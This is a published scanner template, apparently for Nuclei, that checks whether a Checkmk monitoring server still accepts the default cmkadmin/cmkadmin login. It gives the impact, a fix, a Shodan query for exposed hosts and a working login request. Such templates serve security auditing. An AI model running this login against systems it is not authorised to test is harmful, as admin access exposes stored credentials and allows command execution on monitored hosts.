checkmk-default-login: Checkmk - Default Login

2026-04-09 Checkmk PoC Public

Description

Checkmk monitoring instance is accessible with default credentials (cmkadmin/cmkadmin). This provides full administrative access to the monitoring platform, including the ability to view all monitored hosts, execute commands on agents, and access stored credentials.

PoC

id: checkmk-default-login

info:
  name: Checkmk - Default Login
  author: 0xBassia
  severity: high
  description: |
    Checkmk monitoring instance is accessible with default credentials (cmkadmin/cmkadmin). This provides full administrative access to the monitoring platform, including the ability to view all monitored hosts, execute commands on agents, and access stored credentials.
  impact: |
    An attacker with admin access to Checkmk can view the entire monitored infrastructure, access stored SNMP community strings and SSH credentials, execute commands on monitored hosts via the agent, and gain visibility into the organization's network topology.
  remediation: |
    Change the default cmkadmin password immediately after installation using 'cmk-passwd cmkadmin' or through the web interface.
  reference:
    - https://docs.checkmk.com/latest/en/intro_setup.html
    - https://docs.checkmk.com/latest/en/wato_user.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"Check_MK"
  tags: default-login,checkmk,monitoring

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 5

    extractors:
      - type: regex
        part: header
        group: 1
        name: endpoint
        regex:
          - 'Location:\s(.*)\?'
        internal: true

  - raw:
      - |
        POST {{endpoint}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0FYqMzKWywSgTEcE

        ------WebKitFormBoundary0FYqMzKWywSgTEcE
        Content-Disposition: form-data; name="filled_in"

        login
        ------WebKitFormBoundary0FYqMzKWywSgTEcE
        Content-Disposition: form-data; name="_login"

        1
        ------WebKitFormBoundary0FYqMzKWywSgTEcE
        Content-Disposition: form-data; name="_origtarget"

        index.py
        ------WebKitFormBoundary0FYqMzKWywSgTEcE
        Content-Disposition: form-data; name="_username"

        cmkadmin
        ------WebKitFormBoundary0FYqMzKWywSgTEcE
        Content-Disposition: form-data; name="_password"

        cmkadmin
        ------WebKitFormBoundary0FYqMzKWywSgTEcE
        Content-Disposition: form-data; name="_login"

        Login
        ------WebKitFormBoundary0FYqMzKWywSgTEcE--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(to_lower(header), "set-cookie", "auth_", "index.py")'
        condition: and
# digest: 4a0a00473045022100e1180e8ec5da32883655719ec9b6c8fdcd5f8726028fc7d6512cb116dfe8c471022056625e9916b248931bd7a69623fe6e4720f9719d85525e173b9dc0cb3534d800:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities